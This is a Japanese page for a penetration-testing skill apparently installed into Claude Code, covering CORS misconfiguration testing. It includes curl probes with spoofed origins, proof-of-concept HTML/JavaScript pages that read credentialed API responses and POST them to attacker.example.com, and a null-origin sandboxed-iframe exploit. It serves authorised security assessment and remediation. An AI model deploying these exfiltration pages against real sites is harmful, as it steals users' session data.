testing-cors-misconfiguration について
API やウェブアプリの CORS ポリシーを、許可されたセキュリティ評価で調べるスキルです。Origin の検証、プリフライト処理、悪用可能性を順に確認し、結果の記録も支援します。
主な機能
- 01CORS ヘッダーと Origin の確認
- 02プリフライトリクエストのテスト
- 03認証情報と null Origin の評価
- 04HTML の概念実証作成
- 05脆弱性レポートの構成
活用シーン
- 01API のクロスオリジン制御の監査
- 02ブラウザーセッションからの情報漏えい確認
- 03内部 Origin からの CORS アクセス確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-cors-misconfigurationインストール後、Claude Code で/testing-cors-misconfigurationを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
CORS の設定ミスのテスト
使用する場面
- API エンドポイントのクロスオリジンアクセス制御を評価する、許可を得たペネトレーションテスト中
- クロスオリジンの API リクエストを行うシングルページアプリケーションをテストする場合
- 被害者のブラウザーセッションから機密データを窃取できるか評価する場合
- 複数のドメインでデータを共有するマイクロサービスアーキテクチャを評価する場合
- クロスドメイン通信に CORS ヘッダーを使用するアプリケーションのセキュリティ監査中
前提条件
- 許可:対象に対する書面によるペネトレーションテスト契約
- Burp Suite Professional:Origin ヘッダーの傍受と変更に使用します
- DevTools を備えたブラウザー:実際のブラウザー環境で CORS の挙動を確認します
- 攻撃者の Web サーバー:CORS 悪用 PoC ページをホストします
- curl:CORS ヘッダーを手動でテストします
- Python HTTP サーバー:エクスプロイトページをローカルでホストします
ワークフロー
ステップ 1:対象エンドポイントの CORS 設定を特定する
すべての API エンドポイントで、CORS レスポンスヘッダーを確認します。
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
ステップ 2:Origin の反射と検証バイパスをテストする
サーバーが Origin ヘッダーをどのように検証するかを確認します。
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
ステップ 3:プリフライトリクエストの処理をテストする
サーバーが OPTIONS プリフライトリクエストをどのように処理するかを評価します。
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
ステップ 4:CORS を悪用する概念実証を作成する
CORS の設定ミスを悪用してデータを盗み出す HTML ページを作成します。
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
ステップ 5:Null Origin の脆弱性を悪用する
Origin: null が許可されている場合は、サンドボックス化された iframe を使って悪用します。
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
ステップ 6:CORS を介した内部ネットワークへのアクセスをテストする
XSS 経由で悪用される可能性のある内部 Origin からのアクセスを、CORS が許可するか確認します。
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
主な概念
| 概念 | 説明 |
|---|---|
| 同一オリジンポリシー | あるオリジンのスクリプトが別のオリジンのデータにアクセスするのを防ぐ、ブラウザーのセキュリティモデル |
| CORS | リソースへのアクセスを許可するオリジンをサーバーが指定できる仕組み |
| Origin の反射 | サーバーがリクエストの Origin ヘッダーを ACAO レスポンスヘッダーにそのまま反映すること(危険) |
| Null Origin | サンドボックス化された iframe、データ URI、リダイレクトから生じる特別な Origin 値 |
| プリフライトリクエスト | 一部のクロスオリジンリクエストの前に、権限を確認するために送信される OPTIONS リクエスト |
| 認証情報を含むリクエスト | Cookie を含むクロスオリジンリクエスト。ACAO と ACAC ヘッダーを明示的に指定する必要があります |
| ワイルドカード CORS | Access-Control-Allow-Origin: * はあらゆる Origin を許可しますが、認証情報は許可しません |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite Professional | リクエストを傍受し、Origin ヘッダーを変更します |
| CORScanner | CORS の設定ミスを自動スキャンします(pip install corscanner) |
| cors-scanner | Node.js ベースの CORS テストツール |
| ブラウザー DevTools | 実際のブラウザー環境で CORS エラーとネットワークリクエストを監視します |
| Python http.server | CORS を悪用する PoC ページをホストします |
| OWASP ZAP | CORS の設定ミスを自動検出します |
よくあるシナリオ
シナリオ 1:Origin の完全な反射
API は、任意の Origin ヘッダーを Access-Control-Allow-Origin に反映し、Access-Control-Allow-Credentials: true を返します。あらゆる Web サイトが認証済み API レスポンスを読み取れるため、ユーザーデータが盗まれるおそれがあります。
シナリオ 2:Null Origin の許可
サーバーは、認証情報を含む Origin: null を許可します。攻撃者のページはサンドボックス化された iframe を使用して、認証情報を含むリクエストを API に送信し、レスポンスデータを読み取ります。
シナリオ 3:サブドメインのワイルドカード信頼
CORS ポリシーは *.target.example.com を許可します。攻撃者は forum.target.example.com に XSS を見つけ、それを使って api.target.example.com にクロスオリジンリクエストを送信し、信頼されたサブドメイン経由でユーザーデータを盗みます。
シナリオ 4:Origin 検証の正規表現バイパス
サーバーは Origin の検証に正規表現 target\.example\.com を使用していますが、正規表現の先頭と末尾を固定していません。そのため、attackertarget.example.com が一致し、アクセスを許可されます。
出力形式
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)